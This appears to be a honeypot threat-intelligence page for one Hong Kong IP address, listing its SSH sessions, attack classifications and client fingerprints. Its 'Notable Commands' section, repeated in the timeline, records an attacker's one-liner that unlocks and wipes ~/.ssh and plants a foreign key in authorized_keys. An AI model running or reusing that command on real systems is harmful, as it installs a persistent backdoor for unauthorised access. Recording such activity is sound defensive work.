← Back to feed
152.32.130.144
Location
🇭🇰 HK / Hong Kong
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
323
Top 10% by volume
Agent Count
1
First / Last Seen
2026-04-07 18:13 — 2026-04-07 18:54
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Session Forensics
Sessions
47 (22 with login)
Avg Depth Score
0.54
Commands Executed
33
Files Downloaded
11
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Credential Harvester
309296032f21
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
fb8b02dc02d4
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
809a8db04a4b
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
e6108014d84e
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
69eab9f012e5
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
dffdfc1725c1
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
85e165a9a7f6
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
f382203d06a4
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
92f1d40824e8
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
25f1bacdbb24
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
ed3a77d5320f
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
63002ae1017d
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
9d5a052f19a8
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
99ef113ec1e4
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
36e925fc44ea
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
1503a24a00c9
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
498943ca471c
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
6a9668e78216
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
d3e422aece01
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
7014c5f3f778
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
c1e6b95ae9aa
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
d0833e3aecff
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
6c1394f1d252
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
311e4ad07940
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
f35d1ac458a8
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
c3305797f317
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
632c0a8ff9e0
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
3746148a8972
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
9dc5217a3b9d
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
9f3b65acfb57
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
c42af5b22ebe
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
5e25a4f6b678
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
80f5fab8a9f3
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
d1ddd7720d79
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
36bda80a6f58
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
93e993356cc9
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
b541a7fb6097
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
6b899ed06a3e
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
bd33edd34c5d
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
8e32c1040ed2
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
a3b74ac6e835
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
a9d47ce392f3
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
b5166dcac89a
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
2bd834713c1f
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
cb829d6e28a4
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Credential Harvester
8a9644286f9d
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Credential Harvester
381fa1aeab73
1
35%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1